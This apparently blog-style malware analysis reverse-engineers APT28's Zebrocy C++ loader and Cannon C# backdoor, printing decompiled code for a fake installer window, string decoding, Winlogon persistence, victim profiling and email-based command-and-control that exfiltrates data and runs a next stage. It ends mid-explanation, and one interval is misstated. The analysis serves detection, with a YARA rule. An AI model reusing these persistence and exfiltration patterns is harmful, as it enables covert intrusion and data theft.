Let’s Learn: Reviewing Sofacy’s "Zebrocy" C++ Loader: Advanced Insight

GoalAnalyze and reverse engineer one of the “Zebrocy” C++ loader samples attributed to Sofacy/Sednit/APT28 group. By and large, Zebrocy is a widely-used first-stage loader in the recent campaigns (especially in its Delphi version). This loader was discovered and documented by Palo Alto Unit 42.

https://platform.twitter.com/widgets.js

Source:

Zebrocy Loader C++ x86 (32-bit) Version: bf0fea133818387cca7eaef5a52c0aed
Outline:

I. Background & Summary
II. Zebrocy Loader C++ x86 (32-bit) Version: WinMain function
A. Nvidia Setup Procedure
B. Zebrocy "MainCaller" Function
C. "EnterDecoder" Function
D. Zebrocy "recv" Processor: "-1" & "0009" Commands
E. Zebrocy Install and Execute Next Stage
III. Yara Signature
 I. Background & Summary
Sofacy’s “Zebrocy” loader appears to be popular for the past few years deployed by the group. I decided to take a look at the C++ version of the loader as it was documented by Palo Alto Unit 42 in order to review its functionality in-depth and document it, as well as, to create a Yara rule detection for it.
Before reading further, I recommend reviewing the article titled “Sofacy Group’s Parallel Attacks,” authored by Unit42. This article documents the discovery of this C++ loader. Reportedly, Unit42 retrieved this payload as a loader from another Zebrocy Delphi version, which first-stage was a “phishing email sent to a foreign affairs organization within a Central Asian country.”
It is notable that this loader was written in C++ with the apparent usage of header library, for example, for writing input/output as fwrite API.
The loader also mimics itself as “Nvidia” installer displaying the message “NVidiaSetup 98% comp” while displayed with 0x0 pixels in the bottom right corner. By and large, the loader is rather unpacked and rather unsophisticated; it deploys rather interesting transposition to hex to ASCII decoding routine and executing next stage via ShellExecuteA.
II. Zebrocy Loader C++ 32-bit (x86) Version: WinMain function

The loader, originally named “snvmse.exe,” essentially sets up a window with the procedure displaying the text “NVidiaSetup 98% comp” via BeginPaint, TextOutW, and EndPaint. The window class is titled “win32app” with the window name “Application_Win32” via CreateWindowExW. The Zebrocy malware creates a window in the bottom right with height 0x0 and width 0x0. 

The shortened WinMain C++ pseudo-coded function as follows:
//////////////////////////////////////////////////////////////
///////////////// Zebrocy WinMain Function ///////////////////
/////////////////////////////////////////////////////////////
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
v16.cbSize = 48;
v16.style = 3;
v16.lpfnWndProc = NvidiaSetupMsg; // Draw fake "Nvidia" install message
v16.cbClsExtra = 0;
v16.cbWndExtra = 0;
v16.hInstance = hInstance;
v16.hIcon = LoadIconW(hInstance, (LPCWSTR)0x7F00);
v16.hCursor = LoadCursorW(0, (LPCWSTR)0x7F00);
v16.hbrBackground = (HBRUSH)6;
v16.lpszMenuName = 0;
v16.lpszClassName = L"win32app";
v16.hIconSm = LoadIconW(hInstance, (LPCWSTR)0x7F00);
if ( !RegisterClassExW(&v16) )
return 1;
dword_42A84C = (int)hInstance;
GetVolumeInfoMain((int)&v23); // Retrieve serial number from disc "C:\\"
v17 = &v9;
GetComputerName((int)&v9); // Retrieve computer name
bit_func_Main_((int)&v19, v9, v10, v11, v12, v13, v14);
v15 = &Rect;
v4 = GetDesktopWindow();
GetWindowRect(v4, v15);
v5 = CreateWindowExW(
0x80088u, // dwExStyle =
// WS_EX_TOPMOST|WS_EX_TOOLWINDOW|WS_EX_LAYERED
L"win32app", // lpClassName
L"Application_Win32", // lpWindowName
0xCA0000u, // dwStyle
// WS_OVERLAPPED|WS_MINIMIZEBOX|WS_SYSMENU|WS_CAPTION
Rect.right, // X.right
Rect.bottom, // Y.bottom
0, // nWidth = 0
0, // nHeight = 0
0, // hWndParent = NULL
0, // hMenu = NULL
hInstance, // hInstance
0); // lpParam = NULL
v6 = v5;
if ( !v5 )
{
if ( v21 >= 16 )
val(v19);
v21 = 15;
v20 = 0;
LOBYTE(v19) = 0;
if ( v24 >= 16 )
val(v23);
return 1;
}
ShowWindow(v5, nShowCmd);
UpdateWindow(v6);
Sleep(3000u);
if ( ZebrocyMainCaller() == 1 )
{
KillTimer(v6, 1u);
PostQuitMessage(0);
}
while ( GetMessageW(&Msg, 0, 0, 0) )
{
TranslateMessage(&Msg);
DispatchMessageW(&Msg);
}
v8 = Msg.wParam;
if ( v21 >= 0x10 )
val(v19);
v21 = 15;
v20 = 0;
LOBYTE(v19) = 0;
if ( v24 >= 16 )
val(v23);
return v8;
}

The machine ID is calculated via obtaining a serial number from GetVolumeInfoMain (with the label “C:\”) and the return of GetComputerName API.
A. Nvidia Setup Procedure
The so-called LRESULT “NvidiaSetupMsg” function leverages messages with timers to paint the text box leveraging BeginPaint, unicode TextOutW, and EndPaint and WM_PAINT message.

The shortened C++ pseudo-coded function is follows:
//////////////////////////////////////////////////////////////
//////////////// Zebrocy NvidiaSetupMsg Function ////////////
/////////////////////////////////////////////////////////////
LRESULT __stdcall NvidiaSetupMsg(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
qmemcpy(&NVidia, L"NVidiaSetup 98% comp", 42u);
if ( Msg > 15 ) // WM_PAINT = 15
{
if ( Msg != 275 ) // WM_TIMER = 275
return DefWindowProcW(hWnd, Msg, wParam, lParam);
if ( ZebrocyMainCaller() == 1 ) // Main Zebrocy Caller Function
{
KillTimer(hWnd, 1u);
LABEL_12:
PostQuitMessage(0);
return 0;
}
}
else if ( Msg == 15 ) // WM_PAINT = 15
{
v4 = BeginPaint(hWnd, &Paint);
TextOutW(v4, 5, 5, &NVidia, wcslen(&NVidia));
EndPaint(hWnd, &Paint);
}
else
{
if ( Msg != 1 ) // WM_CREATE = 1
{
if ( Msg == 2 ) // WM_DESTROY = 2
goto LABEL_12;
return DefWindowProcW(hWnd, Msg, wParam, lParam);
}
SetTimer(hWnd, 1u, 200000u, 0);
}
return 0;
}

B. Zebrocy “MainCaller” Function

The Zebrocy main caller function utilizes the Winsock API library to call the controller domain. It also contains the decoder and string processor functions.
The main function is as follows:

WSAStartup -> socket -> enter_decoder -> string_processor -> decoder 
-> WSACleanup -> inet_addr -> htons -> connect -> enter_decoder -> send 
-> closesocket -> shutdown -> recv -> Sleep

C. Zebrocy “EnterDecoder” Function

The Zebrocy malware leverages two functions to process and decoding encoded “[@A-Z]” blobs.
The full decoded blobs are as follows:
str_processor((int)&encoded_value, "CCICUB@CECUBECBCUBECHCAC", 24u);
// 185[.]25[.]50[.]93
str_processor((int)&encoded_value, "@BQCHFDGGFUFEFSDTBDGUFEFDGUFVFCDUFSEBGSEDFEFDFVFCFUFEFSFBGEGTBTFBGVFFFTBGGGGGGTBHGVBUFVFIFDGAFCFIFSF@G@GAF@BQCEF@GIGDETBDGUFEFDGUFVFCDUFSEBGSECCICUB@CECUBECBCUBECHCAC@BQCDGCGVFHDUFSEBGSEACUBACVB@EDEDEHD@B@GHF@GUBSFVFCFVFDGVFBG@GVBEGBCACHCHCDFRFVB@GSFEFHFCGIGCGVBCCICUB@CECUBECBCUBECHCACVBVBQC@GDGDGHF@BDECEVD@E", 310u);
/*POST hxxp://185[.]25[.]50[.]93/syshelp/kd8812u/protocol[.]php\n
Host: 185[.]25[.]50[.]93\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length:
*/
str_processor((int)&encoded_value, "TCGFBGVF@G", 10u);
// porg=
processor((int)&encoded_value, "@BQCHFDGGFUFEFSDTBDGUFEFDGUFVFCD");
// "Content-Length: "

Their decoding works as by transposing the encoded blob, then converting it into hex and decoding hex into ASCII.
For example, we can confirm the hex decoding routine as follows:

>>> "3138352E32352E35302E3933".decode("hex") # defanged
'185[.]25[.]50[.]93'

The simplified transposition preparing the conversion to hex is pseudo-coded as follows:

///////////////////////////////////////////////////////////////////////  
///////////////// Intitial Zebrocy Decoder Prepare First ///////////////
///////////////////////////////////////////////////////////////////////
encoded = (char *)holder_for_encoded;
if ( v38 < 16 )
encoded = (char *)&holder_for_encoded;
v8 = &encoded[v37];
v9 = (char *)holder_for_encoded;
if ( v38 < 16 )
v9 = (char *)&holder_for_encoded;
for ( ; v9 != v8; *v8 = v10 )
{
if ( v9 == --v8 )
break;
v10 = *v9;
*v9++ = *v8;
}
v35 = 15;
v34 = 0;
LOBYTE(v33) = 0;
LOBYTE(v42) = 3;
for ( i = 0; i < v37; ++i )
{
encoded_1 = holder_for_encoded;
if ( v38 < 16 )
encoded_1 = &holder_for_encoded;
except_result(encoded_1[i] - 16, (int)&v33);
}

D. Zebrocy “recv” Processor: “-1” & “0009” Commands
As noted by Palo Alto Unit42, the Zebrocy loader has logic to retrieve input from the server to process the following two commands:

-1
0009

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px ‘Andale Mono’; color: #2fff12; background-color: #000000; background-color: rgba(0, 0, 0, 0.9)} span.s1 {font-variant-ligatures: no-common-ligatures} In both of the cases, the loader proceeds to leverage “free” call and exits. The pseudocoded recv processor fragment is as follows:

////////////////////////////////////////////////
///// Zebrocy "recv" Processor Fragment ///////
///////////////////////////////////////////////
if ( processor_str("-1", (int)&flag_response) ) // possible cmd = "-1"
{
if ( v98 >= 16 )
free(flag_response);
v98 = 15;
v97 = 0;
LOBYTE(flag_response) = 0;
if ( v83 >= 16 )
free(v81);
v83 = 15;
v82 = 0;
LOBYTE(v81) = 0;
if ( v95 >= 16 )
free(post_request_1);
v95 = 15;
len = 0;
LOBYTE(post_request_1) = 0;
if ( v101 >= 16 )
free(cp);
v10 = v92 < 16;
v101 = 15;
v100 = 0;
LOBYTE(cp) = 0;
goto LABEL_29;
}
if ( processor_str("009", (int)&flag_response) ) // possible cmd = "009"
{
free_0((int)&flag_response);
free_0((int)&v81);
free_0((int)&post_request_1);
free_0((int)&cp);
free_0((int)&v90);
return 1;
}

E. Zebrocy Install and Execute Processor
Finally, the processor contains logic to install and execute the next payload stage retrieved via recv command. Notably, the loader leverages CreateDirectoryW API with fwrite API to install and write block of data to stream and save it locally, then it executes the presumed downloaded next stage via ShellExecuteA API call.
The pseudo-coded function is as follows:

III. Yara Signature

import "pe"

rule apt_sophacy_loader_zebrocy {
meta:
reference = "Detects Sofacy Zebrocy C++ loader"
author = "@VK_Intel"
date = "2018-12-08"
hash1 = "dd7e69e14c88972ac173132b90b3f4bfb2d1faec15cca256a256dd3a12b6e75d"
strings:
$dec_processor = { 55 8b ec 53 8b ?? ?? 56 8b f1 85 db 74 ?? 8b ?? ?? 83 f9 10 72 ?? 8b ?? eb ?? 8b c6 3b d8 72 ?? 83 f9 10 72 ?? 8b ?? eb ?? 8b c6 8b ?? ?? 03 d0 3b d3 76 ?? 83 f9 10 72 ?? 8b ?? 8b ?? ?? 51 2b d8 53}
$decoder1 = { 55 8b ec 6a ff 68 e9 f7 41 00 64 ?? ?? ?? ?? ?? 50 83 ec 64 a1 ?? ?? ?? ?? 33 c5 89 ?? ?? 53 56 50 8d ?? ?? 64 ?? ?? ?? ?? ?? 33 db 89 ?? ?? 89 ?? ?? 6a ff c7 ?? ?? ?? ?? ?? ?? 53 8d ?? ?? 50 8d ?? ?? c7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 88 ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? 8b ?? ?? 8b c6 83 fa 10 73 ?? 8d ?? ??}
$decoder2 = { 33 db c7 ?? ?? ?? ?? ?? ?? 89 ?? ?? c6 ?? ?? ?? c6 ?? ?? ?? 89 ?? ?? 39 ?? ?? 76 ?? 83 ?? ?? ?? 8b ?? ?? 73 ?? 8d ?? ?? 8b ?? ?? 0f ?? ?? ?? 83 eb 10 8d ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? 40 89 ?? ?? 3b ?? ?? 72 ??}

condition:
( uint16(0) == 0x5a4d and
filesize < 500KB and
pe.imphash() == "287595010a7d7f2e14aec2068098ad43" and
( all of them )
) or ( 1 of ($decoder*) and $dec_processor)
}

Let’s Learn: In-Depth on Sofacy Cannon Loader/Backdoor Review

Goal: Review and practice analyzing C# code from the Sofacy Group new loader/backdoor called “Cannon” (as discovered by Palo Alto Unit 42 researchers).

https://platform.twitter.com/widgets.js Source:

Sofacy “Cannon” Loader/Backdoor
SHA256: 61a1f3b4fb4dbd2877c91e81db4b1af8395547eab199bf920e9dd11a1127221e
Outline:

I. Background & Summary
II. Cannon Classes
III. Cannon "Form1" Main Functions
A. “start_Tick”
B. “inf_Tick”
C. “txt_Tick”
D. “subject_Tick”
E. "run_Tick"
F. “load_Tick”
G. “screen_Tick”
H. "eTim_Tick"
IV. Yara Signature
I. Background & Summary
Before diving deeper, I highly recommend reading the original discovery and excellent research related to the “Cannon” malware by Palo Alto Unit 42 titled Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan.” As reported by Unit 42, Sofacy group leveraged malicious Microsoft Document themed as Lion Air disaster” to deliver the Cannon malware. By and large, according to Palo Alto Unit 42, Sofacy recent targeting includes “government organizations in the EU, US, and former Soviet states.”
Cannon is a rather simple but interesting C#-coded malware collecting victim information, receiving commands (controlled by EventHandler), and retrieving next stage via the SMTPS and POP3S. It is interesting that the malware original project “wsslc” program database (PDB) is associated with the possible user “Garry” with the “cannon” project path “C:\Users\Garry\Desktop\cannon\obj\x86\Debug\wsslc.pdb”. Notably, “Garry” is a common way for Russian speakers to phonetically spell out “Harry” stressing the “G” sound. The malware logic also checks for control email messages attachment files containing auddevc” via its “load_Tick” function possibly retrieving unidentified additional binaries. If found, the malware creates a file stream in the main directory and writes the file to the directory using BinaryWriter. Additionally, the malware creates a registry entry as “Shell” in “Winlogon” via “HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogonfor registry persistence.
It is also interesting that the malware authors chose to leverage Czech email provider @post.cz for communications and command control.
II. Cannon Classes
The binary contains the following five classes as follows:
Class Name Description
AUTH Initializes values for SMTPS and POP connection mF1, p1, mF2, p2, mF3, and p3
Form1 Loads the main functions and initializes the main flow of the binary
Lenor Loads auxiliary functions, retrieves information about victims and parses emails for commands
MDat Initializes values used for network communication
Program Starts the program and passes control to Form1
The main program starts running the Main function which checks whether the specified file “C:\Users\Public\Music\s.txt” exists, if yes, it starts “explorer.exe” If not, it sets up the EnableVisualStyles() and SetCompatibleTextRenderingDefault(defaultValue: false) and launches the “Run” command the command executing the “Form1” class.
The full function is as follows:

////////////////////////////////////////////////////////////////////
////////////////////// Cannon Malware Main "Program" ///////////////
////////////////////////////////////////////////////////////////////
internal static class Program
{
[STAThread]
private static void Main()
{
try
{
if (File.Exists("C:\\Users\\Public\\Music\\s.txt"))
{
Process.Start("explorer.exe");
}
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(defaultValue: false);
Application.Run(new Form1());
}
catch (Exception)
{
}
}
}

III. Cannon “Form1” Main Functions
Next, the class “Form1” starts with InitializeComponent(), which sets up all the variables and intervals with EventHandler for the main functions as detailed by Unit 42:

////////////////////////////////////////////////////////////////////
// Cannon Malware Sequence "Form1" Calls & Intervals //////////////
///////////////////////////////////////////////////////////////////
start.Interval = 1000;
start.Tick += new System.EventHandler(start_Tick);
inf.Interval = 300000;
inf.Tick += new System.EventHandler(inf_Tick);
txt.Interval = 120000;
txt.Tick += new System.EventHandler(txt_Tick);
subject.Interval = 120000;
subject.Tick += new System.EventHandler(subject_Tick);
run.Interval = 60000;
run.Tick += new System.EventHandler(run_Tick);
load.Interval = 120000;
load.Tick += new System.EventHandler(load_Tick);
screen.Interval = 10000;
screen.Tick += new System.EventHandler(screen_Tick);
eTim.Interval = 13000;
eTim.Tick += new System.EventHandler(eTim_Tick);

A. “start_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "start_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void start_Tick(object sender, EventArgs e)
{
try
{
start.Enabled = false;
Lenor lenor = new Lenor();
if (Directory.Exists("C:\\Users\\Public\\Music")
{
dir = "C:\\Users\\Public\\Music" + "\\";
}
else
{
dir = "C:\\Documents and Settings\\All Users\\Documents" + "\\";
}
att = dir + "auddevc.txt";
_id = lenor.id(dir);
if (!File.Exists(dir + "s.txt"))
{
lenor.Dir = dir;
lenor.Registration("\"HKCU\\Software\\Microsoft\\" +
"Windows NT\\CurrentVersion\\Winlogon\", "Shell");
File.WriteAllText(dir + "s.txt", "{SysPar = 65}");
}
inf.Enabled = true;
}
catch (Exception)
{
}
}

The “start_Tick” function checks if the application is launched with the interval of 1000 milliseconds or 1 second. The function checks if the directory “C:\Users\Public\Music” exists if not it uses the “C:\Documents and Settings\All Users\Documents” one.
Then, it concatenates the filename to the path as “auddevc.txt”. The function generates a bot ID (_id) leveraging the id function from the “Lenor” class (which calls another “SN” function from Lenor). The bot ID is generated by concatenating the results of the cmd command for volume name “vol C:” with machine username “Environment.UserName”. More specifically, the “Lenor.SN” function runs a command, for example, “vol C:>> C:\\Documents and Settings\\All Users\\Documents\99.txt” saving the output to a local file “99.txt” which is run via batch script “b.bat”; both files are removed right after the operation.

The “Lenor._id” function simply leverages the SN function and concatenates the full bot ID.

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "Id" Bot ID Generation /////////////
////////////////////////////////////////////////////////////////////
public string id("C:\\Documents and Settings\\All Users\\Documents")
{
string text = "";
string text2 = "";
string text3 = "";
string text4 = "";
volumename = SN("C:\\Documents and Settings\\All Users\\Documents", "C");
volumename = volumename.Trim();
username = Environment.UserName;
byte[] bytes = Encoding.Default.GetBytes(text4);
text4 = BitConverter.ToString(bytes);
username = text4.Replace("-", "");
full_id = volumename + username;

/*
public string SN(string "C:\\Documents and Settings\\All Users\\Documents", string name)
{
string text = "";
try
{
while (!File.Exists("C:\\Documents and Settings\\All Users\\Documents" + "\\99.txt"))
{
try
{
string contents = "vol " +
"C" + ":>>" + "C:\\Documents and Settings\\All Users\\Documents" + "\\99.txt";
File.WriteAllText("C:\\Documents and Settings\\All Users\\Documents" + "\\b.bat", contents);
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = d + "\\b.bat";
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
Process.Start(processStartInfo);
File.Delete(d + "\\b.bat");
}
catch (Exception)
{
}
}
text = File.ReadAllText(d + "\\99.txt");
string[] array = text.Split('\n');
text = array[1];
text = text.Substring(text.LastIndexOf(" "));
text = text.Remove(text.IndexOf('-'), 1);
File.Delete(d + "\\99.txt");
}
catch (Exception)
{
}
return text;
}
*/

For persistence, the malware checks if the directory contains “s.txt” file. If not, it registers itself in the following registry path:


HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\Shell

It also creates the file “s”.txt in the same local directory with “{SysPar = 65}” encoding.
B. “inf_Tick” 

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "inf_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void inf_Tick(object sender, EventArgs e)
{
try
{
inf.Enabled = false;
string[] array = "REDACTED_PASS2|bishtr.cam47".Split('|');
a1 = array[1];
b1 = array[0];
array = "REDACTED_PASS3|cervot.woprov".Split('|');
a2 = array[1];
b2 = array[0];
array = "REDACTED_PASS4|lobrek.chizh".Split('|');
a3 = array[1];
b3 = array[0];
Lenor lenor = new Lenor();
lenor.Dir = dir;
File.Delete(dir + "\\b.bat");
string userName = Environment.UserName;
lenor.inf(dir + "i.ini", userName);
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "i.ini"; //filename attachement
mDat.ID = _id; //subject
mDat.bod = "S_inf"; // body
mDat.mT = "sahro.bella7"; // to
AUTH aUTH = new AUTH();
aUTH.mF1 = a1; // from bishtr.cam47
aUTH.p1 = b1; // REDACTED_PASS2
aUTH.mF2 = a2; // from cervot.woprov
aUTH.p2 = b2; // REDACTED_PASS3
aUTH.mF3 = a3; // from lobrek.chizh
aUTH.p3 = b3; // REDACTED_PASS4
lenor.sent(mDat, aUTH);
screen.Enabled = true;
}
catch (Exception)
{
screen.Enabled = true;
}
}

The “inf_Tick” function checks if the application is launched with the interval of 30000 milliseconds or 30 seconds. The function splits strings via “|” separator such as for example “REDACTED_PASS2|bishtr.cam47”.Split(‘|’) and adds the values as usernames and passwords to the authentication “AUTH” class.
Additionally, it deletes the batch file “b.bat” from the current directory. 
The malware “lenor.inf” function works as follows:

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "inf" Function Fragment /////////////
////////////////////////////////////////////////////////////////////
public string inf(string fn, string CurU)
{
string text = "";
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.AppendFormat("RPlace:\n" + Environment.NewLine);
stringBuilder.AppendFormat("{0} \n", Application.ExecutablePath + Environment.NewLine);
stringBuilder.AppendFormat("===================================================================================\n"
+ Environment.NewLine);
stringBuilder.AppendFormat("OS: {0}\n", Environment.OSVersion + Environment.NewLine);
stringBuilder.AppendFormat("SDir: {0}\n", SDir() + Environment.NewLine);
stringBuilder.AppendFormat("Domain: {0}\n", Domain() + Environment.NewLine);
stringBuilder.AppendFormat("Host: {0}\n", HostN() + Environment.NewLine);
stringBuilder.AppendFormat("CurrentUsr: {0}\n", CurU + Environment.NewLine);
stringBuilder.AppendFormat("TimeZ: {0}\n", GetTZ() + Environment.NewLine);
stringBuilder.AppendFormat("Working: {0}\n", TimeWork() + Environment.NewLine);
stringBuilder.AppendFormat("===================================================================================\n"
+ Environment.NewLine);
stringBuilder.AppendFormat("\n" + DrvDsk() + Environment.NewLine);
stringBuilder.AppendFormat("===================================================================================\n"
+ Environment.NewLine);
stringBuilder.AppendFormat("Swr:\n" + Environment.NewLine);
text = "C:\\Program";
string[] directories = Directory.GetDirectories(text + " Files\\");
string[] array = directories;
foreach (string str in array)
{
stringBuilder.AppendFormat("{0}\n", str + Environment.NewLine);
}
if (Directory.Exists(text + " Files (x86)\\"))
{
directories = Directory.GetDirectories(text + " Files (x86)\\");
array = directories;
foreach (string str in array)
{
stringBuilder.AppendFormat("{0}\n", str + Environment.NewLine);
}
}
stringBuilder.AppendFormat("===================================================================================\n"
+ Environment.NewLine);
stringBuilder.AppendFormat("PrL:\n" + Environment.NewLine);

The malware function utilizes “Lenor.inf” function to write the collected victim information to the file in the same directory as “i.ini” in the following structure (example):


The function attempts to authenticate to the three @post.cz email addresses (“bishtr.cam47@post.cz”, “cervot.woprov@post.cz”, “lobrek.chizh@post.cz”) send the information to “sahro.bella7@post.cz” with the body message “S_inf” with the file attachment “i.ini” with the subject as the bot ID.
C. “txt_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "txt_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void txt_Tick(object sender, EventArgs e)
{
try
{
txt.Enabled = false;
string[] array = "REDACTED_PASSWORD|trala.cosh2".Split('|');
ai = array[1];
bi = array[0];
Lenor lenor = new Lenor();
_adr = lenor.pi(_id, "trala.cosh2" + "@post.cz", bi, "pop.seznam.cz");
if (_adr.Length > 0)
{
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "s.txt";
mDat.ID = _id;
mDat.bod = "ok";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
load.Enabled = true;
}
else
{
txt.Enabled = true;
}
}
catch (Exception)
{
load.Enabled = true;
}
}

The “txt_Tick” function is launched with the interval of 120000 milliseconds or 120 seconds.The function sets up variables and splits username and password leveraging “|” as follows:
“REDACTED_PASS|trala.cosh2”.
The function “lenor.pi” authenticates to the email account “trala.cosh2@post.cz” and retrieves messages via pop3Client.GetMessageCount() for the message looping over subjects with the bot ID (message.Headers.Subject == ID) and retrieving message body message.MessagePart.Body and converting text (BitConverter.ToString(body)) to string and decoding hex via FromHex(text) and deleting the message.
The loop code is as follows:

/////////////////////////////////////////////////////////////////////
// Cannon Malware "txt_Tick" Command Email GetMessage Loop for cmd //
////////////////////////////////////////////////////////////////////
for (int i = 0; i < pop3Client.GetMessageCount(); i++)
{
message = pop3Client.GetMessage(i + 1);
if (message.Headers.Subject == ID)
{
byte[] body = message.MessagePart.Body;
text = BitConverter.ToString(body);
text = FromHex(text);
pop3Client.DeleteMessage(i + 1);
}
}

If the text length is over zero, the function attempts to authenticate to the two aforementioned @post.cz email addresses from “screen_Tick” and send the information to “sahro.bella7@post.cz” with the body message “ok” with the file attachment “s.txt” with the subject as the bot ID.
D. “subject_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "subject_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void subject_Tick(object sender, EventArgs e)
{
try
{
subject.Enabled = false;
Lenor lenor = new Lenor();
lenor.Dir = dir;
rn = lenor.pi(_id, "trala.cosh2" + "@post.cz", bi, "pop.seznam.cz";);
rn = rn.Trim();
if (rn.Length > 0)
{
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "s.txt";
mDat.ID = _id;
mDat.bod = "ok3";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
run.Enabled = true;
}
else
{
subject.Enabled = true;
}
}
catch (Exception)
{
}
}

The “subject_Tick” function is launched with the interval of 120000 milliseconds or 120 seconds. The function sets up variables and splits username and password leveraging “|” as follows:
“REDACTED_PASS|trala.cosh2”
If the text length is over zero and trimmed of leading and trailing whitespace characters, the function attempts to authenticate to the two aforementioned @post.cz email addresses from “screen_Tick” and send the information to “sahro.bella7@post.cz” with the body message “ok3” with the file attachment “s.txt” with the subject as the bot ID.

E. “run_Tick”
/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "run_Tick" function /////////////////
////////////////////////////////////////////////////////////////////
private void run_Tick(object sender, EventArgs e)
{
try
{
run.Enabled = false;
try
{
Directory.CreateDirectory(rn.Substring(0, rn.LastIndexOf("\\")));
}
catch (Exception)
{
}
File.Move(att, rn);
if (File.Exists(rn))
{
Lenor lenor = new Lenor();
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "l.txt";
mDat.ID = _id;
mDat.bod = "ok4";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
Process.Start(rn);
Process[] processes = Process.GetProcesses();
Process[] array = processes;
foreach (Process process in array)
{
if (process.ProcessName.Contains("auddevc"))
{
Lenor lenor2 = new Lenor();
MDat mDat2 = new MDat();
mDat2.Dom = "@post.cz";
mDat2.Host = "smtp.seznam.cz";
mDat2.fn = dir + "s.txt";
mDat2.ID = _id;
mDat2.bod = "ok5";
mDat2.mT = "sahro.bella7";
AUTH aUTH2 = new AUTH();
aUTH2.mF1 = a1;
aUTH2.p1 = b1;
aUTH2.mF2 = a2;
aUTH2.p2 = b2;
aUTH2.mF3 = a3;
aUTH2.p3 = b3;
lenor2.sent(mDat2, aUTH2);
File.Delete(dir + "sysscr.ops");
File.Delete(dir + "i.ini");
Application.Exit();
}
}
}
else
{
Application.Restart();
}
}
catch (Exception)
{
Application.Exit();
}
}
The “run_Tick” function is launched with the interval of 60000 milliseconds or 60 seconds. The function processes the return text of the “subject_Tick” command and creates a directory with its path.
Then, if successful, it attempts to move the file “auddevc.txt” to the new directory via File.Move(dir + “auddevc.txt”), rn).
If successful, the function attempts to authenticate to the two aforementioned @post.cz email addresses and send the information to “sahro.bella7@post.cz” with the body message “ok4” with the file attachment “l.txt” with the subject as the bot ID.
Additionally, the function checks if the running process contains the name “auddevc,” if yes, the function attempts to authenticate to the two aforementioned @post.cz email addresses and send the information to “sahro.bella7@post.cz” with the body message “ok5” with the file attachment “s.txt” with the subject as the bot ID.
The function is also responsible for deleting the saved screenshot “sysscr.ops” and the collected victim information file “i.ini.” The function also exists the application if successful.
F. “load_Tick”
/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "load_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void load_Tick(object sender, EventArgs e)
{
try
{
load.Enabled = false;
string text = _adr.Replace("B&", "");
text = text.Replace("Db", "");
string[] array = text.Split('%');
string text2 = array[0];
string text3 = array[1];
text2 = text2.Trim();
text3 = text3.Trim();
Lenor lenor = new Lenor();
lenor.Dir = dir;
File.WriteAllText(dir + "l.txt", "090");
rn = lenor.piatt(_id, text3 + "@post.cz", text2, "pop.seznam.cz";);
if (File.Exists(att))
{
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "l.txt";
mDat.ID = _id;
mDat.bod = "ok2";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
subject.Enabled = true;
}
else
{
load.Enabled = true;
}
}
catch (Exception)
{
}
}
The “load_Tick” function is launched with the interval of 120000 milliseconds or 120 seconds. The function is responsible for processing the retrieved text from “txt_Tick” function. It replaces the  “B&” with “”, “Db” with “”, then splits the text via ‘%’ and removes trailing whitespace.
Then, it writes the new file “l.txt” from this text in the same directory with “090” encoding.
